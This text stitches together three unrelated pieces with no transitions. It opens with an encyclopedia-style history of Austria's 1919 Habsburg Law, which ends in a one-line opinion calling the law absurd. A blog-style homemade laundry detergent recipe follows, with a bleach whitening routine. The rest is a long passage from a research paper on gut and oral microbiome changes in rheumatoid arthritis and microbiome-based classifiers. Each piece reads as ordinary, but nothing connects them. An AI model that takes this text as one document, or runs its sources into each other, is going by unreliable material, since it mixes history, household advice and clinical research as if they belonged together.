On 11 November 1918, Emperor Charles I, counseled by ministers of his last Imperial Royal government as well as by ministers of German Austria, issued a proclamation relinquishing his right to take part in Austrian affairs of state. On the following day, the Provisional National Assembly (Provisorische Nationalversammlung) of German Austria, which claimed authority over the German-speaking portions of the western half of the Habsburg realm (mostly the Danubian and Alpine provinces) proclaimed Deutschösterreich a republic (and a part of the new German republic).
In the night after his proclamation Charles I and his family left Schönbrunn Palace in Vienna and moved to Schloss Eckartsau east of the city, then belonging to the Habsburg Family Funds. There he was visited by a Hungarian delegation and on 13 November signed a similar proclamation for the Kingdom of Hungary.
However, Charles did not formally abdicate, intending to retain his freedom of action in case the Austrian people recalled him. The new republican government, uncomfortable with this situation, gave Charles three options: (1) abdicate formally and remain in Austria as a private citizen, (2) leave the country or (3) be interned.
With the help of Lieutenant Colonel Edward Lisle Strutt, a British officer sent by George V of the United Kingdom, who was shocked by the fate of his Russian relatives, on 23 March Charles and his family departed from Eckartsau for Switzerland in the former Imperial train, Charles wearing a field marshal's uniform. Before crossing the border on the morning of 24 March 1919, and changing into civilian clothes, he revoked his waiver in the Feldkircher Manifest. Then on 3 April, the German-Austrian parliament, on the initiative of Chancellor Karl Renner, passed the Habsburg Law.
The law stripped the Habsburgs of their sovereign rights and banished all Habsburgs from Austrian territory. Charles was barred from ever returning to Austria again. Other Habsburgs were only allowed to return if they renounced all dynastic claims and accepted status as private citizens. Those assets of the state that had been under the administration of the imperial court, the so-called Hofärar, were placed under the government's management. The private funds and family funds of the House of Habsburg, common family property administered by the respective head of the house, were expropriated and transferred to the state property. Personal private property was preserved.
Also on 3 April, nobility was abolished in German Austria, with the Law on the Abolition of Nobility.
The family demanded that various endowments and funds be placed at their disposal as personal private property; in response to this, and to clear up ambiguities related to this, the Habsburg Law was amended on 30 October 1919, retroactively from 3 April, expressly recording which of the claimed funds or endowments in particular were to count as expropriated.
When the Austrian Constitution came into force in 1920, the Habsburg Law was made a constitutional law. However, the provisions of the Habsburg Law concerning expropriation were expressly not brought into force in Burgenland in 1922 (as well as the Law on the Abolition of Nobility) when it became part of Austria. This was intended to turn the Burgenland aristocrats (who included members of the Habsburg family) more pro-Austrian, for pragmatic reasons. The oddity of a constitutional rule not applying to the whole republic was only "repaired" in 2008, when a federal constitutional law declared that by 1 January 2008 the Habsburg Law in total is valid wherever in Austria.
The state of Austria and the Nazi era [ edit ]
The Habsburg Law was downgraded under dictatorial Federal Chancellor Kurt Schuschnigg on 13 July 1935 at the time of the Austrofascist Ständestaat (State of estates) from the status of constitutional law to that of normal law; the ban on certain Habsburgs from entering the country was lifted. The "Family-Provision Fund" of the Habsburg family was restored, and substantial property was returned to the fund.
After the "Anschluss", Reichsstatthalter Arthur Seyss-Inquart, head of the "Austrian State Government", enacted the "Law on the cancellation of the transfer of property to the House of Habsburg-Lorraine", on 14 March 1939, on the grounds of a personal Führer decree; thus, the property passed without compensation to the "Land Austria", part of the Third Reich.
Second Republic [ edit ]
In 1945, the Second Republic brought into force again the Constitution of 1920/1929 according to its version as of 1933, and with it also the Habsburg Law of 1919. With the Constitution Transition Law, all constitutional laws enacted between 1933 and 1945, and all laws which were not compatible with the constitution that was in force until 1933, were repealed. Thus, the legal situation of the First Republic was restored.
The expropriation that occurred in 1939 could not be contested up to now, because the owner of the Habsburg property in 1938 (the fund) is not stated after 1945 in the Foundation and Fund Reorganization Law as a reestablishable fund, so that it could not be established again, and because according to various judgments of the Supreme Court individual members of the family have no claim. Only the not reestablishable fund would have a claim. In 1955, at the explicit request of the USSR the Habsburg law became part of the Austrian State Treaty.
The Republic of Austria made reservations to numerous international agreements after 1945 (convention of human rights, anti-discrimination arrangement, etc.), so that these agreements are not in full validity in relation on the members of the Habsburg family in Austria.
From 1960, many members of the House Habsburg-Lorraine signed the waiver. In 1961, it was also signed by Archduke Otto von Habsburg, Charles' son, who had succeeded his father as head of the house upon his father's death in 1922. His entry was delayed until 1966 by the Habsburg crisis, in which the legal validity of his declaration was questioned. In this connection the National Council decided to interpret the Habsburg Law authentically, with a majority of the Social Democratic Party (SPÖ) and the Austrian Freedom Party (FPÖ). Permission to enter was granted to the last empress, Zita of Bourbon-Parma, without a waiver, in 1982, because she was a Habsburg only by marriage and could therefore make no claim to the imperial throne.
Members of the Habsburg family and other families, "that have ruled before", have according to article 60, paragraph 3 of the federal constitution, the same rights and possibilities as any other Austrians, except from being unable to serve as Federal President. In 2010, Ulrich Habsburg-Lothringen, living in Carinthia, unsuccessfully tried to be accepted as a candidate at the federal president's elections. The federal government has admitted the exclusion of Habsburgs from the passive voting rights is not needed anymore and could be abandoned in 2011.
However, the family continues to pursue the fight against the Habsburg law. The financial claims (including castles, apartment buildings in Vienna and about 27,000 hectares of land with an estimated total value of 200 million euros) are substantial. Up to the present, however, they have been dismissed for technical reasons or denied, due to the decisions of the Austrian Supreme Court.
From today's view the question stays juridically open whether the expropriation provisions enacted in 1919 have fulfilled their legal purpose with the expropriation of 1919, and therefore have no more validity for further events (juridically: are consumed), or whether they imply a permanent ban on restitution.
In the report of the historians committee on the property denial during the Nazi era, which has been in office in 1998-2003, a return ban was denied, while the arbitral authority of the general compensation fund saw such a return ban as evident.
The Arbitration Panel of the General Settlement Fund for Victims of National Socialism (decisions 5/2004, 6/2004, 7/2004) has declared that it lacks jurisdiction over applications of the Habsburg family, for reasons of constitutional and international law. In a subsequent complaint of the Habsburg family concerning decisions of the Arbitration Panel, the Austrian constitutional court has likewise declared that it lacks jurisdiction; the President of the Constitutional Court, Korinek, pointed out to the Habsburg family the possibility of a civil law claim - apparently under the fiction that the Family-Provision Fund did not cease to exist in 1938, did therefore not need to be reestablished, and still exists. The family has not sought the decision of an Austrian authority since then.
Discussion [ edit ]
In the discussion on the subject, advocates of the expropriation point out that the Habsburgs were to blame for the First World War. The expropriated property is only one symbolic compensation for the damage that resulted from the decision to go to war.
Advocates of the return of the family funds argue that the use of the proceeds of the property for war victims, as provided for by the Habsburg law, is out-dated, as no victims of the First World War are alive anymore. In addition, they assert that the Habsburg-Lorraine family is not to blame for the war, as it was not a decision of the family. Emperor Franz Joseph I made this decision without consultation with or agreement of members of the family. Hence, it is a case of collective responsibility, making family members liable for their relatives' actions, something that is frowned upon nowadays; and extremely unequal treatment, since no other Austrian noble family has been expropriated.
The Habsburg law is absurd, there's nothing else to be said about it.
Homemade Laundry Detergent(Recipe from my friend Ashley!)
1/2 Cup of Borax
1 Cup of Washing Soda
1 Bar of Fels Naptha Soap(has a citrus scent I find it for $.99 a bar at Walmart, it is always with the other detergents on the bottom shelf) or 1 bar of Dove ivory soap
OR a Laundry Kit(They sell all three items together in a pack on amazon,but it is pricier than buying everything separately)
Essential Oils for scent(We prefer the clean lemony scent it has,but you could add something else to it if you prefer)
Water
5 Gallon Bucket
Lid
Fill your bucket with around 2 gallons of hot water.
Grate your bar of Fels Naptha; I use my Vitamix and then put into a pot with water. Heat it until all of the soap has dissolved.
Add your Borax to the water.
Add your washing soda to the water.
Then pour in your melted soap into the water.
We actually got a grout/mudslinger mixer from amazon to make the mixing easier, but you can use a long handled spoon if you prefer. We just got this tool this last October, so it isn’t necessary but nice if you do have it or a grout mixer to attach to your screw driver.
Mix it up.
Then top with enough hot water for it to hit the 4 Gallon mark.
We have this lid from Amazon , but they also sell them at home depot. I prefer it to the normal ones because that way it is easy to open and close for me since I am the main one using the detergent.
Then close the lid and let it sit for at least 12 hours.
The next day you will see that it is very thick and gelatinous.
Stir again the the mixer tool to break up all of the gel parts. It might get lumpy again over time,but we just shake the smaller container we have the detergent in.
Here is the container that I put my detergent in. This makes it much easier to shake the lumps out and isn’t hard to store. Some people got buckets with spouts in them,but we didn’t have a place high to put the bucket, and then you still need another cup or something to put the detergent in; so, this works for us.
You only need to use 1/2 cup of detergent for top loaders and 1/4 cup for front loaders. The lines on the cups from the commercial detergents are way more than you actually need to wash your clothes if you read their recommended amounts on the back of their containers. They just want you using more of their products faster. 🙂
The one thing we have noticed is that our bright whites have gotten a little bit dingy overtime, so we use the follow ingredients with whites that can be bleached when really wanting to get them nice and white again.
I add the full amount of bleach(~1 Cup) that the tray will hold, and I add 1/2 cup of Borax in with the clothes as well as 1 cup of powdered dish detergent(mine is just the cheap great value stuff) that is also put in where the clothes are. If you have a top loader, then everything just goes in with the clothes. Then add the recommend amount of our homemade laundry detergent as well into the tray.
Wash on the Sanitary Cycle which is nice and long. If you have a top loader, then you can put everything in let the washer fill with hot water and let it soak. SEE FULL INSTRUCTIONS here if you are confused.
This method for us is SOO much cheaper than buying detergent, is easier since we only make it once a year, and we are honestly happy with how well it cleans and smells. It also doesn’t have any crazy chemicals in it either so it makes us happy campers.
To investigate the gut microbiome in RA patients, we carried out metagenomic shotgun sequencing of 212 fecal samples (77 treatment-naive individuals with RA and 80 unrelated healthy controls; 17 treatment-naive individuals with RA paired with 17 healthy relatives; and 21 samples from DMARD-treated individuals with RA) (Supplementary Tables 1 and 2). We then integrated the data into an existing gut microbial reference-gene catalog to obtain a set of 5.9 million genes, which allowed for saturation mapping of the sequencing reads (80.3% ± 2.3%, mean ± s.d.)12. Gut microbial diversity and richness were similar between the 77 treatment-naive individuals with RA and 80 unrelated healthy controls (Supplementary Fig. 1). The duration of RA did not significantly separate the individuals with RA in principal-coordinate analysis at the genus level or in permutational analysis of variance (PERMANOVA) of the gene profile (Supplementary Fig. 2 and Supplementary Table 3).
To delineate features of the RA-associated gut microbiome, we identified 117,219 gene markers that were differentially enriched in RA patients versus controls (Wilcoxon rank-sum test, false discovery rate (FDR) < 0.3) and clustered the genes into metagenomic linkage groups (MLGs) on the basis of their correlated abundance variation among samples20. The 88 MLGs that contained at least 100 genes (Supplementary Fig. 3 and Supplementary Table 4) separated RA-enriched and control-enriched MLGs along the vector for RA status in canonical correspondence analysis (CCA) (Supplementary Fig. 4), confirming that they were associated mainly with RA status, rather than with other complicating factors.
A cluster containing Veillonella and Haemophilus strains (Spearman's correlation coefficient > 0.3), along with other MLGs including Klebsiella pneumoniae, Bifidobacterium bifidum, Sutterella wadsworthensis and Megamonas hypermegale, were enriched in the healthy controls compared with the RA subjects (Supplementary Fig. 3). In contrast, the RA-enriched MLGs formed a large cluster including Clostridium asparagiforme, Gordonibacter pamelaeae, Eggerthella lenta and Lachnospiraceae bacterium, as well as small clusters or single MLGs containing strains such as Bifidobacterium dentium, Lactobacillus sp. and Ruminococcus lactaris. A few control MLGs negatively correlated with RA MLGs (e.g., K. pneumoniae and Bacteroides sp., B. bifidum and R. lactaris) (Supplementary Fig. 3), suggesting an antagonistic or mutually exclusive relationship.
The RA gut was enriched in Gram-positive bacteria and depleted of Gram-negative bacteria, including some Proteobacteria and Gram-negative Firmicutes of the Veillonellaceae family (Supplementary Fig. 3). A few phylogenetically related strains showed different directions of enrichment. For instance, Con-1511 (most closely related to Bacteroides plebeius) was enriched in controls, whereas a Bacteroides sp. (most closely related to Bacteroides sp. 20_3) was enriched in patients (Supplementary Fig. 3 and Supplementary Table 4). These results partly confirm and extend the results of previous studies based on 16S rRNA sequencing16,17,19 (Supplementary Table 5).
Consistent with results from principal-coordinate analysis and PERMANOVA at the genus and gene levels (Supplementary Fig. 2a and Supplementary Table 3), the abundance of only one gut MLG was different among treatment-naive individuals with RA of different durations (Kruskal-Wallis test, P < 0.05; Supplementary Fig. 2b). In contrast, the abundance of three dental MLGs and ten salivary MLGs changed with disease duration, with RA-enriched MLGs often increasing and control-enriched MLGs decreasing as a function of the duration of RA (Supplementary Fig. 2c,d). None of the MLGs containing 100 or more genes was annotated to Prevotella copri (Supplementary Fig. 3 and Supplementary Table 4), in agreement with its existence and genomic variability in the healthy population10,13,19,21,22,23,24,25. Yet according to the P. copri NCBI reference draft genome (DSM 18205), there was a trend toward increased abundance of P. copri as a function of RA duration in the first year (Supplementary Fig. 5), consistent with its reported expansion in subjects with new-onset RA (6 weeks to 6 months)19.
In line with the relative depletion of Gram-negative bacteria in RA, Kyoto Encyclopedia of Genes and Genomes (KEGG) modules involved in lipopolysaccharide biosynthesis, lipopolysaccharide transport, and secretion systems (type II, type IV and type VI) were more abundant in samples from healthy controls (Fig. 1 and Supplementary Table 6). In contrast, enrichment of the reductive acetyl-CoA pathway in individuals with RA was consistent with the overabundance of acetate-producing bacteria such as Clostridium spp. and modules for converting acetate to methane (Fig. 1 and Supplementary Table 6). Together, these results indicate that the gut microbiome of individuals with RA is distinct from that of healthy individuals.
Figure 1: Microbial dysbiosis in the gut, dental plaques and saliva of individuals with RA. Heat map of KEGG modules differentially enriched between samples of feces (n = 157), dental plaques (n = 105) and saliva (n = 98) from RA and control subjects (reporter score ≥ 1.7; Supplementary Tables 5, 15 and 16). The KEGG orthology group modules and body sites are ordered by unsupervised hierarchical clustering. Blue, enriched in controls; red, enriched in RA subjects. Modules missing from one or more body sites are not plotted. Full size image Download Excel source data
To explore the diagnostic or prognostic value of the gut microbiome for RA, we investigated numerical covariations between the relative abundance of the MLGs and clinical indices using Spearman's correlation (Supplementary Fig. 4). The abundance of RA-enriched MLGs such as C. asparagiforme and Bacteroides sp. was positively correlated with titers of immunoglobulin A (IgA), and that of an unclassified Lactobacillus sp. (most likely L. salivarius; Supplementary Table 4) positively correlated with titers of the major serum immunoglobulin, IgG (Supplementary Fig. 4). A positive correlation between RA-2166 (which is related to Enterococcus faecalis; Supplementary Table 4) and platelet count (Supplementary Fig. 6) was detected, which is consistent with prior reports showing that E. faecalis binds platelets26,27.
Additional correlations with clinical indices were found with MLGs enriched in controls but also present in a fraction of individuals with RA (Supplementary Table 4). The abundance of Con-7851 and B. bifidum correlated negatively with titers of IgA and IgG; Con-1511, Con-2297, Con-2316 and an unclassified Haemophilus sp. (most closely related to B. plebeius, Streptococcus australis, Veillonella sp. oral taxon 158 and Haemophilus parainfluenzae, respectively; Supplementary Table 4) negatively correlated with titers of the RA-specific autoantibodies anticyclic citrullinated peptide (anti-CCP) and rheumatoid factor (RF) (Supplementary Fig. 6). Furthermore, cross-validated random forest models based on the gut MLGs were able to fit the clinical indices with a small R2 value (Supplementary Table 7), which indicated that the gut MLGs could to some extent reflect the clinical variations among these subjects.
Oral microbial dysbiosis is present in RA and is associated with clinical indices
Next we investigated whether dysbiosis is also evident in the oral microbiome. We shotgun-sequenced 105 dental and 98 saliva samples (dental: 54 treatment-naive RA, 51 controls; saliva: 51 RA, 47 controls; 69 of the subjects had a complete set of fecal, dental and salivary samples) (Supplementary Tables 1 and 2). De novo assembly of these sequences led to a gene catalog of 3.2 million genes, with 76.6% ± 1.8% and 70.7% ± 7.3% (mean ± s.d.) mapping of the dental and salivary sequencing reads, respectively.
RA status had the strongest effect on the dental and salivary microbiomes among all available phenotypes (lowest P value in PERMANOVA; Supplementary Tables 8 and 9). We identified 371,990 and 258,055 gene markers enriched in either healthy controls or individuals with RA from the dental and salivary samples, respectively (Wilcoxon rank-sum test, FDR < 0.1). MLGs were constructed in the same way as for the fecal samples20, making this, to our knowledge, the first MGWAS on the oral microbiome.
The 171 dental and 142 salivary MLGs that contained at least 100 genes (Fig. 2 and Supplementary Tables 10 and 11) were separated into control-enriched and RA-enriched MLGs along the vector for RA status in CCA (Supplementary Fig. 4b,c), confirming their association with RA. The dental MLGs were highly interconnected in the controls, whereas the salivary MLGs were more interconnected in the RA patients than in the controls (Fig. 2, Spearman's correlation > 0.55). Veillonella MLGs were overrepresented in the gut of healthy controls (Supplementary Fig. 3) but were elevated in the dental plaques and saliva of individuals with RA (Fig. 2 and Supplementary Tables 10 and 11). These Veillonella MLGs possibly belonged to different species (Supplementary Table 12). MLGs annotated to Haemophilus spp. remained enriched in the control samples at all three sites, although the exact strain could differ between the gut and oral sites (Supplementary Tables 4 and 10,11,12). MLGs corresponding to common childhood endocarditis–related Gram-negative bacteria (Haemophilus, Aggregatibacter, Cardiobacterium, Eikenella, Kingella (HACEK)) were enriched in the control dental and/or salivary samples (Fig. 2 and Supplementary Tables 10 and 11). The peptidyl-arginine deiminase (PAD)-encoding Porphyromonas gingivalis was enriched in control saliva and, to a lesser extent, in control dental plaques (Fig. 2 and Supplementary Tables 10 and 11), in agreement with recent studies that did not find an association between P. gingivalis or its PAD and RA18,28. Rothia spp. have been implicated in treatable periodontitis, endocarditis, and joint infections29,30,31. We found that Rothia aeria was enriched in control saliva, Rothia mucilaginosa–like MLGs were enriched in RA saliva and dental plaques (RA-8122 and RA-15331, respectively), and RA-24511 (Rothia dentocariosa) was enriched in RA dental plaques (Fig. 2 and Supplementary Tables 10 and 11). Anaerobes such as Lactobacillus salivarius, Atopobium spp. and Cryptobacterium curtum were enriched in both salivary and dental samples from subjects with RA, in contrast to aerobes such as Nesseria spp. and R. aeria, which were enriched in controls (Fig. 2 and Supplementary Tables 10 and 11). Strains enriched in control saliva such as Lactococcus sp., Con-1, Con-80 and Cardiobacterium hominis negatively correlated with MLGs enriched in RA samples, including Atopobium sp. and Veillonella strains (Spearman's correlation coefficient <−0.5; Fig. 2b). Control oral MLGs such as Capnocytophaga ochraea and Leptotrichia sp. and RA-enriched Selenomonas flueggei had taxa similar to those reported in previous 16S studies18,32,33 (Supplementary Table 5). Collectively, these findings indicate that microbial markers enriched in control and RA samples were differentially distributed among the fecal, dental and salivary microbiomes, although the dental and salivary sites showed greater similarity to each other.
Figure 2: Oral MLGs enriched in dental and salivary samples of RA subjects and controls. (a,b) MLGs (≥100 genes) enriched in oral (a) and salivary (b) samples (for dental samples, n = 51 controls and 54 RA; for salivary samples, n = 47 controls and 51 RA), colored according to family. MLG identification numbers are listed in parentheses if more than one MLG annotated to the same species or unclassified species in a genus (sp.). Possible strain names are listed in Supplementary Tables 10 and 11 for all MLGs with more than 50% of genes annotated to the strain(s), even if the criteria for pinpointing a species or a genus were not met (Online Methods). Sizes of nodes reflect the number of genes in the MLGs (100–4,667 for dental, 102–4,996 for salivary). Blue edges, Spearman's correlation coefficient > 0.55, P < 0.05; red edges, Spearman's correlation coefficient < −0.35 for dental and < −0.5 for salivary, P < 0.05. Full size image Download Excel source data
Next we computed covariations between the relative abundance of dental and salivary MLGs and clinical indices for RA, and we noted the separation between control-enriched and RA-enriched MLGs on the basis of the clinical indices (Supplementary Figs. 7 and 8). A number of MLGs enriched in the healthy control dental samples, including Aggregatibacter sp., Haemophilus spp., Neisseria spp. and Prevotella intermedia, negatively correlated with C-reactive protein (CRP), a marker for acute inflammation (Supplementary Fig. 7). Healthy control MLGs such as Con-3223 and Con-5472 negatively correlated with both CRP and anti-CCP autoantibodies, whereas RA-enriched Actinomyces sp. and RA-16259 positively correlated with anti-CCP autoantibodies. Con-6189 and Con-8374 negatively correlated with CRP and RF, an autoantibody directed against the Fc region. In the saliva, RA-11340 positively correlated with anti-CCP, whereas Con-658, Con-662 and Haemophilus spp. negatively correlated with anti-CCP (Supplementary Fig. 8). Con-2134 negatively correlated with RF, whereas RA-5059, RA-7901 and Prevotella spp. positively correlated with RF.
Cross-validated random forest models based on dental or salivary MLGs were able to fit clinically measured indices such as DAS28, CRP, anti-CCP and IgG in the cohort (Supplementary Tables 13 and 14), which indicated that measured oral MLGs could be used to derive these clinical indices in this cohort. Thus, although the oral microbiome may be influenced by additional factors such as diet and oral hygiene, our results indicate that, consistent with clinical observations, the oral microbiome deviates from a healthy status in individuals with RA.
Concordance between gut and oral microbiomes
To examine the concordance and divergence of the microbiome at different body sites in individuals with RA, we analyzed functional modules using the KEGG database. Like the gut microbiome, the dental and salivary microbiomes of RA patients were relatively depleted of type II, type IV and type VI secretion systems; arginine and putrescine transport systems; and synthesis of putrescine and spermidine from arginine (Fig. 1; Supplementary Tables 5, 15 and 16; and Supplementary Note).
The module related to ubiquinone (coenzyme Q) synthesis was more abundant in the control oral and gut samples, whereas menaquinone (vitamin K 2 ) synthesis was elevated in individuals with RA at the same sites (Fig. 1 and Supplementary Tables 5, 15 and 16), suggesting more anaerobic respiration. Complex I (NADH dehydrogenase) of the respiratory chain was enriched in RA subjects, whereas Complexes III and IV were relatively depleted in these subjects (Fig. 1). RA saliva samples were enriched for iron(III) transport instead of iron(II) transport systems (Supplementary Fig. 9a). Salivary MLGs that correlated with iron(III) transport included RA-5626 and RA-5778 (which are most closely related to Solobacterium moorei; Supplementary Table 11), whereas iron(II) transport (manganese-iron transport system) was associated with control-enriched MLGs such as gut K. pneumoniae, dental and salivary Haemophilus spp., Aggregatibacter spp. and Eikenella corrodens (Supplementary Tables 17 and 18). Zinc transport systems were enriched in the control fecal samples but were also enriched in the RA oral samples compared with control oral samples (Fig. 1; Supplementary Fig. 9a; and Supplementary Tables 5, 15 and 16).
The healthy oral microbiome was enriched in modules involved in sulfur reduction and sulfate transport (Fig. 1; Supplementary Fig. 9b; Supplementary Tables 15 and 16; and Supplementary Note). KEGG orthology groups responsible for hydrogen sulfide production correlated with control MLGs such as Aggregatibacter spp., Haemophilus spp. and Kingella dinitrificans; in contrast, Bacteroides spp. were enriched in the gut of RA subjects (Supplementary Tables 17 and 18). Alterations in nitrogen, iron and sulfur metabolism in RA also manifested as differential enrichment of heme transport and synthesis pathways in gut and oral sites between control and RA subjects (Fig. 1 and Supplementary Fig. 9c).
Molecular mimicry of RA-associated antigens such as Collagen XI and HLA-DRB1*0401 (ref. 34) by gut microbial genes from Clostridium, Eggerthella, Bacteroides and Citrobacter was also suggested, with a number of the genes belonging to MLGs enriched in RA gut samples (Supplementary Fig. 10 and Supplementary Table 19). In contrast, only one gut microbial gene contained a motif similar to the spondyloarthropathy-related antigen HLA-B27. Although the signal was more diverse in the oral microbiome, RA-enriched genes from Atopobium, Oribacterium, Actinomyces and Cryptobacterium mimicked motifs in Collagen XI and HLA-DRB1*0401, whereas few motifs similar to HLA-B27 could be found (Supplementary Fig. 10 and Supplementary Tables 20 and 21). Thus, both the gut and the oral microbiome might contribute to RA through molecular mimicry of self-antigens34,35.
Despite differences between the gut and oral bacterial taxa associated with RA, Haemophilus spp. were overrepresented in the control samples from all gut and oral sites and negatively correlated with amounts of serum anti-CCP, RF and CRP (Supplementary Figs. 6,7,8). L. salivarius was consistently enriched in individuals with RA. Amounts of gut and salivary L. salivarius positively correlated with IgG levels, and the dental L. salivarius showed the second highest odds ratio among all dental MLGs (Supplementary Table 10). Furthermore, L. salivarius was more abundant in very active cases of RA (DAS28 > 5.1) compared with mild to moderately active (DAS28 ≤ 5.1) cases (Fig. 3), underscoring its potential for use in patient stratification.
To better understand the distribution of RA-associated bacteria across body sites, we computed the correlation of the relative abundances of fecal, dental and salivary MLGs among samples (n = 69). L. salivarius (Lactobacillus sp. in the gut; Supplementary Table 4) showed a positive correlation among all three sites (Fig. 4, Supplementary Fig. 11 and Supplementary Table 12), confirming its presence in multiple body sites. The RA-enriched gut bacteria B. dentium and RA-6364 negatively correlated with a number of control-enriched dental MLGs (Spearman's correlation < −0.4; Fig. 4a). The MLG Con-5303, which was enriched in control gut samples, positively correlated with many control-enriched dental MLGs such as Haemophilus spp., Aggregatibacter sp. and P. intermedia (Spearman's correlation > 0.4). The RA-enriched gut bacteria C. asparagiforme negatively correlated with control salivary MLGs P. intermedia, Haemophilus spp. and Kingella denitrificans and positively correlated with RA salivary MLGs such as RA-8057 and RA-8551 (Fig. 4b). A similar pattern was observed for RA-enriched gut MLGs Bacteroides sp., B. dentium and Lactobacillus sp. The control salivary MLG Lactococcus sp. correlated negatively with an RA gut Bacteroides sp. and positively with control gut MLGs including Con-5303 and K. pneumoniae. Together, these results demonstrate covariation of bacteria at different body sites in individuals with RA and indicate that the microbiome at a given site contains information for other sites.
Figure 4: Correlation between gut and oral MLGs. (a,b) Spearman's correlation between the relative abundances of gut and dental (a) or gut and salivary (b) MLGs (≥100 genes) were calculated for subjects with full sets of fecal, dental and salivary samples (n = 69). Sizes of nodes reflect the number of genes in each MLG. MLGs are colored according to body site and enrichment (yellow, control gut; green, RA gut; blue, control dental; red, RA dental; purple, control saliva; magenta, RA saliva). MLG identification numbers are listed in parentheses if more than one MLG annotated to the same species or unclassified species in a genus (sp.). Blue edges, Spearman's correlation coefficient > 0.4, P < 0.05; red edges, Spearman's correlation coefficient < −0.4, P < 0.05. Full size image Download Excel source data
Microbiome-based identification of RA patients
To illustrate the diagnostic value of the RA-associated microbiome, we first constructed random forest disease classifiers based on the gut MLGs (Fig. 5). Tenfold cross-validation was done five times on the cohort (N = 157), and the final model contained 8 of the 88 gut MLGs (Supplementary Fig. 12 and Supplementary Table 4), leading to an area under the receiver operating curve (AUC) of 0.940 (specificity, 0.922; sensitivity, 0.838; Fig. 5a). The model also classified an additional set of samples comprising consanguineous and nonconsanguineous case-control pairs (N = 34) (Fig. 5b). Thus, the performance of our model with gut MLGs was comparable to that of existing classifiers based on RA serum markers36.
Figure 5: Gut and oral MLGs can be used to distinguish RA patients from healthy controls. (a,d,f) Receiver operating characteristic curves for fecal (a), dental (d) and salivary (f) training sets comprising samples from treatment-naive RA subjects and unrelated controls (N = 157, 100 and 94 for fecal, dental and salivary samples, respectively). AUC = 0.9396 for fecal, 0.8702 for dental and 0.8135 for salivary samples. The 95% confidence intervals (CIs) are shown as shaded areas. (b) Classification of fecal samples from 17 controls and 17 RA subjects, either consanguineous or nonconsanguineous relatives. Open circles, controls; filled circles, RA subjects. (c,e,g) Classification of fecal (c), dental (e) and salivary (g) samples from DMARD-treated RA patients (N = 40, 37 and 24 for fecal, dental and salivary samples, respectively), shaded on a scale relative to DAS28. NA (no shading), DAS28 not available. The classification results for all samples are listed in Supplementary Table 1. Diagonal lines in graphs mark an AUC of 0.5 (i.e., random classification). Horizontal lines mark the probability cutoff (0.5). Full size image Download Excel source data
Similarly, six dental MLGs and two salivary MLGs performed well in our cohort (Dental: AUC, 0.870; specificity, 0.860; sensitivity, 0.800. Salivary: AUC, 0.814; specificity, 1.000; sensitivity, 0.702; Fig. 5d,f, Supplementary Fig. 12 and Supplementary Tables 10 and 11). Of the two salivary MLGs, RA-32522 was present only in individuals with RA and their healthy relatives, whereas the unclassified Lactococcus sp. was present in the unrelated healthy controls. Salivary Lactococcus and RA-32522 also correlated with a number of MLGs in the gut (Fig. 4b and Supplementary Table 11). When classification based on two sites was used to overrule the few misclassifications based on the third site, no subjects were misclassified except for one related control (Supplementary Table 1); this highlights the power of examining the microbiome at multiple sites. Moreover, testing the MLG classifiers on samples from DMARD-treated RA patients still correctly identified the individuals as having RA for most of the fecal and dental samples (Fig. 5c,e,g and Supplementary Table 1). However, dental samples with low disease activity (DAS28) were often classified as healthy, consistent with clinical relief of periodontitis after treatment of RA.
DMARD treatment partially restores a healthy RA microbiome
To examine whether DMARD treatment restores a healthy microbiome, we compared the relative abundance of control and RA gut and oral MLGs before and after treatment (for 3 months in 34 individuals and for other time periods for six fecal samples) (Supplementary Tables 1 and 2). Consistent with results from the RA classifiers, more dental and salivary MLGs showed significant changes in abundance than did gut MLGs (P < 0.05, Wilcoxon rank-sum test; Fig. 6 and Supplementary Fig. 13). In the dental plaques, amounts of RA-24803 were decreased after DMARD therapy, especially in patients who showed good or moderate improvement after treatment compared to those with no improvement (P < 0.05, Wilcoxon rank-sum test; Fig. 6b,c), according to the European League Against Rheumatism (EULAR) response criteria based on DAS28 reduction. MLGs enriched in healthy control dental samples, including Prevotella maculosa, increased in RA patients after treatment, especially in those who showed good or moderate improvement. Among the control MLGs that were differentially enriched in dental samples of patients with good, moderate or no improvement after DMARD therapy were MLGs (unclassified Aggregatibacter sp., Con-3223 and Con-6189) that negatively correlated with CRP, anti-CCP or RF, implying clinically relevant improvement in the dental microbiome.
Figure 6: The microbiome is altered after DMARD treatment. (a) Control gut MLGs (≥100 genes; Supplementary Fig. 3) affected by DMARD treatment (P < 0.05, paired Wilcoxon rank-sum test, N = 32). (b) Control dental MLGs (≥100 genes; Fig. 2a) affected by DMARD treatment (P < 0.05, paired Wilcoxon rank-sum test, N = 15). (c) Control dental MLGs differentially enriched in patients with good, moderate or no improvement (N = 9, 21 or 10, respectively; P < 0.05 between good and moderate, good and unimproved, and moderate and unimproved, Wilcoxon rank-sum test). (d) Receiver operating characteristic curve for prediction of improvement after DMARD treatment from before-treatment dental samples. Tenfold cross-validation with a random forest classifier was done five times, and 17 MLGs were selected (Supplementary Table 10). N = 24 for good or moderate improvement, N = 7 for no improvement (Supplementary Table 22). AUC = 0.881; 95% CI shown as a shaded area. The diagonal line marks an AUC of 0.5 (i.e., random classification). (e) Control salivary MLGs (≥100 genes; Fig. 2b) affected by DMARD treatment (P < 0.05, paired Wilcoxon rank-sum test, n = 10). MLGs enriched in control samples are shown in blue text, and MLGs enriched in RA samples are in red text (a–c,e,f). (f) Control dental MLGs differentially enriched in patients after treatment with MTX, MTX + T2 or T2 (N = 14, 10 or 12, respectively; P < 0.05 between MTX and MTX + T2, between MTX and T2, and between MTX + T2 and T2, Wilcoxon rank-sum test). In all box plots, interquartile ranges (IQRs; boxes), medians (dark vertical lines in boxes), the lowest and highest values within a range 1.5 times the IQR from the first and third quartiles (whiskers) and outliers beyond the whiskers (circles) are shown. Full size image Download Excel source data
